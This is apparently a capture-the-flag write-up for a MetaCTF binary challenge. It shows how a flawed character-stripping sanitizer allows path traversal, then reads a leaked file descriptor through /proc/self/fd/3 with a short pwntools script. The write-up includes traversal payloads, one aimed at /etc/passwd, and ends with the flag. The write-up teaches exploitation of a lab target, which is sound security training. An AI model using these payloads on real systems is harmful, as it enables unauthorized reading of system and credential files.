In this binary exploitation challenge, we’re given access to a set of records spanning the entire galaxy, but to satiate our curiosity, we need to access more…
Solution
We start out with the file archive
. Running the file
command shows us that the binary is x64 and not stripped:
┌──(kali㉿kali)-[~/Desktop/testing-grounds/binex_GalacticArchives]
└─$ file archive
archive2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4ff166cd0c81474efbd8bee2ec370f7097215cb3, for GNU/Linux 3.2.0, not stripped
Running checksec
shows that a number of protections are enabled:
┌──(kali㉿kali)-[~/Desktop/testing-grounds/binex_GalacticArchives]
└─$ checksec --file=archive
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 60 Symbols No 0 6 archive
Finally, running the binary or connecting to the remote server gives us some cool art and a list of records to choose from for viewing.
Decompilation
After loading the binary into Ghidra, we can head right to main()
. The first snippet of code shows the program searching under the current directory for a file whose name starts with “flag” then reading its contents into a file descriptor:
...
local_10 = opendir("./");
if (local_10 != (DIR *)0x0) {
do {
local_18 = readdir(local_10);
if (local_18 == (dirent *)0x0) goto LAB_00101670;
iVar1 = strncmp(local_18->d_name,"flag",4);
} while (iVar1 != 0);
snprintf((char *)&local_238,0x100,"./%s",local_18->d_name);
LAB_00101670:
closedir(local_10);
}
if (((char)local_238 != '\0') && (local_1c = open((char *)&local_238,0), local_1c != -1)) {
read(local_1c,local_338,0x100);
}
...
Oddly enough, the file descriptor referred to by local_1c
never gets closed. Perhaps we can do something with that later…
Moving past the CLI menu, we see that the program gathers the list of available records from the records
directory and prompts us for the name of the record that we wish to see. Our input is stored in local_138
, which is then passed as an argument to read_chart()
.

Looking at read_chart()
, we see that our input gets sent to a sanitization function called sanitize()
. Following sanitization, the result is appended to the end of the path ./records/
, which ideally forms a path to a record. The contents of the resulting file are then read:

Bad Sanitizing
Looking at the decompiled output of sanitize()
, things are a little garbled, but after cleaning up the code, we get something that looks like this:
void sanitize(char *param_1) {
int j;
int i;
for (i = 0; param_1[i] != '\0'; i = i + 1) {
if ((param_1[i] == '.') || (param_1[i] == '/')) {
for (j = i; param_1[j] != '\0'; j = j + 1) {
param_1[j] = param_1[(long)j + 1];
}
}
}
return;
}
From here, we can see that our input gets sanitized by removing .
and /
characters. This is done in an attempt to prevent a path traversal attack, where we could change our user input to point to a file outside the records directory and get the program to read its contents. The phrase “in an attempt” is key here because after a banned character is found, the function skips over the next character, which allows us to effectively bypass the sanitization by specifying the .
and /
characters multiple times. For example, we’d turn a payload like ../../etc/passwd
into ....//....//etc//passwd
.
Unfortunately, we can infer from main()
that while the flag file contains the word “flag” in it, we don’t know the full name, so we’re going to need to figure out a different way to get the flag.
Exploitation
Remember how the contents of the flag file were read into a file descriptor near the beginning of main()
? That file descriptor is stored as a file in memory, and with our newfound exploit, we could attempt to read its contents, thereby revealing the flag. Doing this requires some background knowledge on the Linux operating system:
- Information about the kernel, including running processes, is stored in the
/proc
directory - The
/proc/self
directory is a link to the current running process, which allows a process to access information about itself without knowing the PID - The
fd
directory within a process’s directory links to the files opened by a process- The file descriptors
0
,1
, and2
correspond to the three “standard streams”,stdin
,stdout
, andstderr
, respectively
- The file descriptors
With this knowledge, we can infer that the contents of the flag file will be stored at /proc/self/fd/3
given that it’s the first file opened. After altering the payload to bypass the sanitization function, We can write a script like the one below to send it to the server:
from pwn import *
p = remote('localhost', 1337)
p.recvuntil(b'):')
p.sendline(b'....//....//proc//self//fd//3')
log.success(p.recvline(timeout=5).decode())
p.close()
As expected, we get the flag:
MetaCTF{r3c0rd1ng_th3_s4nitiz4ti0n_i55u3s}